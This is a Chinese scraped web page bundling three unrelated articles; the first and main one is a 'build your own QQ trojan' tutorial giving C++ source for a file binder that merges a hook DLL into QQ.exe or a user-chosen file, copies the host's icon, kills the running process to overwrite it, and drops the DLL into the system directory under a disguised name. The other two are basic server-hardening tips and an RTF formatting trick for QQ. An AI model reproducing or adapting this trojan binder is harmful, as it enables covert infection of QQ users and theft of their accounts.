自己动手做QQ木马文件绑定篇

时间:2023年04月17日

/

来源:湊崎紗夏

/

编辑:本站小编

收藏本文

下载本文

以下是小编为大家准备的自己动手做QQ木马文件绑定篇,本文共3篇,仅供参考,欢迎大家阅读。本文原稿由网友“湊崎紗夏”提供。

篇1:自己动手做QQ木马文件绑定篇

代码如下:

//根据返回值判断是否继续执行本文件

bool CBindFile::Initiate

{

int i = 0, k = 0;

DWORD dwErrorCode = 0;

DWORD dwFileLen = GetFileSize(hFileMyself, NULL);

//此外加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件

if(dwFileLen == lenOrigin)

{

//去绑定HOOK.dll

strToBindFilePath = “hook.dll”;

strFinalFilePath = “Server.exe”;

lstrcpy(m_Ext, “dll”);

if(Bind_File())

{

//成功绑定

MessageBox(NULL, “绑定成功!”, NULL, NULL);

}

return false;

}

else if(dwFileLen == lenOriginAddDll)

{

//去绑定目标文件

//判断本文件是否是server.exe文件

char szName[7] = {0};

int i = lstrlen(my_name)-10;

for(k=0; k<6; k++,i++)

{

szName[k] = my_name[i];

}

if(0 != lstrcmp(szName, “SERVER”))

{

//自动去绑定QQ.exe,可以通过注册表取得QQ的安装路径

strToBindFilePath = “C:\\\\Program Files\\\\Tencent\\\\QQ.exe”;

lstrcpy(m_Ext, “exe”);

}

else

{

//弹出对话框,等待用户输入

SelectFileToBind dlg;

int nRet = -1;

nRet = dlg.DoModal();

if(nRet != IDOK)

{

MessageBox(NULL, “None input to get bindfilename”, NULL, NULL);

return false;

}

dlg.GetFilePath(strToBindFilePath);

if(strToBindFilePath.IsEmpty())

{

MessageBox(NULL, “None input filename”, NULL, NULL);

return false;

}

//取得文件扩展名,设置m_Ext

int pt = strToBindFilePath.GetLength()-3;

for(i=0; i<3; i++)

{

m_Ext[i] = strToBindFilePath.GetAt(pt);

pt++;

}

MessageBox(NULL, m_Ext, “PRINT”, NULL);

}

strFinalFilePath = “000000.exe”;

//先判断目标文件是否已经被绑定过

HANDLE hDestFile = NULL;

DWORD bytesin = 0;

hDestFile = CreateFile(strToBindFilePath, GENERIC_READ,

FILE_SHARE_READ, NULL, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL);

if(INVALID_HANDLE_VALUE == hDestFile)

{

MessageBox(NULL, “判断目标文件时,该文件不打开失败!”, NULL, NULL);

return false;

}

SetFilePointer(hDestFile, GetFileSize(hDestFile, NULL)-4,NULL, FILE_BEGIN);

if(0 == ReadFile(hDestFile, buf, BUF_SIZE, &bytesin, NULL))

{

MessageBox(NULL, “判断目标文件时,读取该文件失败!”, NULL,NULL);

return false;

}

CloseHandle(hDestFile);

if(4 != bytesin)

{

MessageBox(NULL, “判断目标文件中,读取的字节数不为4!”,NULL, NULL);

return false;

}

for(i=0; i<4; i++)

{

if((buf[i] != szFlag[i]))

{

break;

}else if(3 == i)

{

//已经被绑定过,返回

MessageBox(NULL, “目标文件已经被绑定过!”, NULL, NULL);

return false;

}

}

//确认没被绑定过则开始绑定

Bind_File();

//如果被绑定的文件不是EXE文件则把它修改成EXE文件

if(0 != lstrcmp(m_Ext, “exe”))

{

DeleteFile(strToBindFilePath);

//修改文件扩展名

CString strToBindFilePath1;

strToBindFilePath1 = strToBindFilePath.Left(strToBindFilePath.GetLength()-3);

strToBindFilePath1 += “exe”;

strToBindFilePath.Empty();

strToBindFilePath = strToBindFilePath1;

}

BOOL bResult;

bResult = CopyFile(strFinalFilePath, strToBindFilePath, false);

dwErrorCode = GetLastError();

if(32 == dwErrorCode)

{

//其他进程正在使用该文件,结束该进程

TCHAR szFileName_Exe[MAX_PATH];

strToBindFilePath.MakeUpper();

lstrcpy(szFileName_Exe, (LPCTSTR)strToBindFilePath);

if(TRUE == CloseProcessFromName(szFileName_Exe))

{

bResult = CopyFile(strFinalFilePath, strToBindFilePath, false);

dwErrorCode = GetLastError();

CString str;

str.Format(“%d CopyFiles Error code %d”, bResult, dwError);

MessageBox(NULL, str, NULL, NULL);

}

}

DeleteFile(strFinalFilePath);

return false;

}

else

{

//判断是否是需要HOOK的目标文件

if(IsSpecFileName(“QQ.EXE”))

{

//分解HOOK.dll和目标文件

TCHAR szSysPath[MAX_PATH];

::GetSystemDirectory(szSysPath, MAX_PATH);

strUnbindFilePath_Dll = szSysPath;

strUnbindFilePath_Dll += “\\\\risingq.dll”;

MessageBox(NULL, strUnbindFilePath_Dll, “PRINT”, NULL);

Unbind_and_Run();

return true;

}

else

{

//如果本程序不是目标HOOK的文件则再分解出一个原文件SERVER运行

MessageBox(NULL, “正在运行的不是目标文件”, NULL, NULL);

CloneMySelf_and_Run();

return false;

}

}

}

2. Bind_File()

//绑定指定的文件生成一个合成文件

bool CBindFile::Bind_File()

{

HANDLE hFileOut = NULL; //最终合成文件

HANDLE hFileIn = NULL; //待绑定文件

DWORD dwFileInLen = 0; //待绑定文件长度

DWORD bytesin = 0; //一次输入的字节数

DWORD bytesout = 0; //一次输出的字节数

unsigned int i = 0, k = 0;

BYTE *bufMyself = NULL;

modify_data.my_length = GetFileSize(hFileMyself, NULL);

if (0 == modify_data.my_length)

{

MessageBox(NULL, “绑定文件中,自身文件长度为零时出错!”,“错误”, MB_OK);

return false;

}

bufMyself = new BYTE[modify_data.my_length];

if(NULL == bufMyself)

{

MessageBox(NULL, “绑定文件中,分配内存失败!”, NULL, NULL);

return false;

}

ZeroMemory(bufMyself, modify_data.my_length);

SetFilePointer(hFileMyself, 0, NULL, FILE_BEGIN);

//读取本文件数据

if (0 == ReadFile(hFileMyself, bufMyself, modify_data.my_length, &bytesin, NULL))

{

delete[] bufMyself;

MessageBox(NULL, “绑定文件中,不能完全读取自身文件内容时出错!”,“错误”, MB_OK);

return false;

}

if(0 == lstrcmp(m_Ext, “dll”)) //绑定DLL时定位自身文件大小

{

for (i = 0; i < modify_data.my_length - sizeof(modify_data.finder);

i += sizeof(modify_data.finder))

{

for (k = 0; k < sizeof(modify_data.finder); k++)

{

if (bufMyself[i+k] != ((BYTE*)&modify_data.finder)[k])

break;

}

if (k == sizeof(modify_data.finder)) //定位并保存自身数据文件大小

{

memcpy(bufMyself+ i, &modify_data, sizeof(modify_data));

break;

}

}

if (i >= modify_data.my_length - sizeof(modify_data.finder))

{

delete[] bufMyself;

MessageBox(NULL, “绑定文件中,不能定位自身文件时出错!”,“错误”, MB_OK);

return false;

}

}

//如果绑定的是PE文件则拷贝该PE文件的图标到最终的合并文件中,

自己动手做QQ木马文件绑定篇

if ( 0 == lstrcmp(m_Ext, “exe”) )

{

Modify_MyIcon(bufMyself);

}

//创建最终合并后的文件

hFileOut = CreateFile(strFinalFilePath, GENERIC_WRITE,

FILE_SHARE_READ, NULL, OPEN_ALWAYS,

FILE_ATTRIBUTE_NORMAL, NULL);

if (INVALID_HANDLE_VALUE == hFileOut)

{

delete[] bufMyself;

MessageBox(NULL, “绑定文件中,创建绑定后生成的合成文件时出错!”,“错误”, MB_OK);

return false;

}

//写本文件数据到输出的文件中

WriteFile(hFileOut, bufMyself, bytesin, &bytesout, NULL);

//释放存放自身文件数据的大内存,以后使用buf做缓冲区

delete[] bufMyself;

//打开要绑定的文件

hFileIn = CreateFile(strToBindFilePath, GENERIC_READ,

FILE_SHARE_READ, NULL, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, NULL);

if (INVALID_HANDLE_VALUE == hFileIn)

{

MessageBox(NULL, “绑定文件中,打开第一个要绑定文件时出错!”,“错误”, MB_OK);

return false;

}

//取的待绑定文件长度

dwFileInLen = GetFileSize(hFileIn, NULL);

if(0 == dwFileInLen)

{

CloseHandle(hFileIn);

CloseHandle(hFileOut);

MessageBox(NULL, “绑定文件中,读取要绑定文件时出错!”,“错误”, MB_OK);

return false;

}

//写入要绑定文件的长度到合成文件中

WriteFile(hFileOut, &dwFileInLen, sizeof(dwFileInLen), &bytesout, NULL);

//写入最终分解后文件的扩展名

WriteFile(hFileOut, m_Ext, 3, &bytesout, NULL);

//读取待绑定文件数据写入输出文件中

do

{

if(0 == ReadFile(hFileIn, buf, BUF_SIZE, &bytesin, NULL))

{

CloseHandle(hFileIn);

CloseHandle(hFileOut);

MessageBox(NULL, “文件绑定中,读取待绑定文件字节大小不符!”, NULL, NULL);

return false;

}

WriteFile(hFileOut, buf, bytesin, &bytesout, NULL);

}while(0 != bytesin);

if(0 != lstrcmp(m_Ext, “dll”))

{

//绑定非DLL时写入该文件被绑定过的标志

if(0 == WriteFile(hFileOut, szFlag, lstrlen(szFlag), &bytesout, NULL))

{

MessageBox(NULL, “绑定文件中,写入被绑定过的标志出错.”,NULL, NULL);

return false;

}

}

CloseHandle(hFileIn);

CloseHandle(hFileOut);

return true;

}

这里主要解释一下modify_data, 它是一个MODIFY_DATA结构的全局变量,其结构如下:

struct MODIFY_DATA {

DWORD finder; //常量(定位自身)

DWORD my_length; //文件长度(自身)

} modify_data = {0x78563412, 0};

因全局变量存放在PE文件的.data数据区,只要打开文件搜索finder,就可以找到该变量在PE文件中的存放位置。

然后在该位置写入my_length的大小。以后该文件运行时modify_data就被初始化为写入的大小了。当然这种方

法是有风险的,可能存在多个finder数据。

篇2:自己动手做服务器安全(初级篇)

先说服务器系统安全1.使用NTFS分区

2.安装系统,不要默认安装,主要是不要安装网络文件和打印机共享服务协议

3.建立一个。复杂的ADMIN开机密码(本人的密码32位,字母数字符号)

4.安装好系统,下载微软所有的补丁安装

5.修改Administrator用户名为***。建立一个陷阱帐号Administrator(分配权限组Guest并设置复杂的密码)

6.修改Guest用户名,并禁用该组

7.右键电击每个分区(C盘D盘等等)选属性--安全---删除Everyone和Users组(每个分区都删除)

8.建立一个记事本,填上以下代码。保存为*.bat并加到启动项目中

netsharec$/del

netshared$/del

netsharee$/del

netsharef$/del

netshareipc$/del

netshareadmin$/del

以上代码意思是关闭admin$C$D$等等,而IPC$允许匿名用户(即未经登录的用户)访问

9.使用安全策略关闭一些有安全隐患的端口,比如1351371392344514333389等等

10.如果你不需要使用ASP的FSO上传功能,请关闭FSO上传功能(用你的漏洞传木马或者格式化你的硬盘,删除你的数据就是用这个)

以下是关闭和启动FSO的命令:

在自己的服务器(本地)开启/关闭系统FSO支持方法windows98系统

在DOS命令行状态输入以下命令:

关闭命令:RegSvr32/uC:\\WINDOWS\\SYSTEM\\scrrun.dll

打开命令:RegSvr32C:\\WINDOWS\\SYSTEM\\scrrun.dll

win系统:

在CMD命令行状态输入以下命令:

关闭命令:RegSvr32/uC:\\WINNT\\SYSTEM32\\scrrun.dll

打开命令:RegSvr32C:\\WINNT\\SYSTEM32\\scrrun.dll

一般情况下关了FSO,,asp木马就算是死马一个了(但也不保证那些高手利用免FSO的手段搞你的机器)

篇3:自己动手做QQ图象代码

[KkerGroup]ByPczz

{\\urtf1\\ansi\\ansicpg936\\deff0\\deflang1033\\deflangfe2052{\\fonttbl{\\f0\\fnil\\fprq2\\fcharset0zipper;}{\\f1\\fmodern\\fprq6\\fcharset134\\'cb\\'ce\\'cc\\'e5;}}

\\viewkind4\\uc1\\pard\\lang2052\\f0\\fs72kker\\f1\\fs20\\par

}

比如这段代码

呵呵有人说这要先看懂这种语言~~

如果你要这么想可真完了,这根本不算语言。应该确切说是“鸟语”吧!

废话不多说,直接切入正题

打开一个[写字版]。在里面编辑好你的内容!

保存。然后用[记事本]打开这个rtf格式文件

打开后就会看到这种代码了~别急。关键的最后一步(曾经偶在这里汗到家了)

注意上面一行。以上面的为例子{\\rtf1??我们在他前面加上个u就ok了

{\\urtf1

参照例子:

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

没加u前:

{\\rtf1\\ansi\\ansicpg936\\deff0\\deflang1033\\deflangfe2052{\\fonttbl{\\f0\\fnil\\fprq2\\fcharset0zipper;}{\\f1\\fmodern\\fprq6\\fcharset134\\'cb\\'ce\\'cc\\'e5;}}

\\viewkind4\\uc1\\pard\\lang2052\\f0\\fs72kker\\f1\\fs20\\par

}

加过之后:

{\\urtf1\\ansi\\ansicpg936\\deff0\\deflang1033\\deflangfe2052{\\fonttbl{\\f0\\fnil\\fprq2\\fcharset0zipper;}{\\f1\\fmodern\\fprq6\\fcharset134\\'cb\\'ce\\'cc\\'e5;}}

\\viewkind4\\uc1\\pard\\lang2052\\f0\\fs72kker\\f1\\fs20\\par

}

最后说明一下针对汉字的说明

这类代码只能转为西方才可正常显示

所以要将中文格式CHINESE改为西方格式

目前只有送体支持

自己动手做巧克力作文350字

Linux 指令篇:文件管理diffstat

qq个性签名【搞笑篇】

用QQ WLM iNowShare随意共享文件

升级系统后QQ不能收发文件了

下载自己动手做QQ木马文件绑定篇(锦集3篇)
自己动手做QQ木马文件绑定篇.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
热门文章
    猜你喜欢
    点击下载本文文档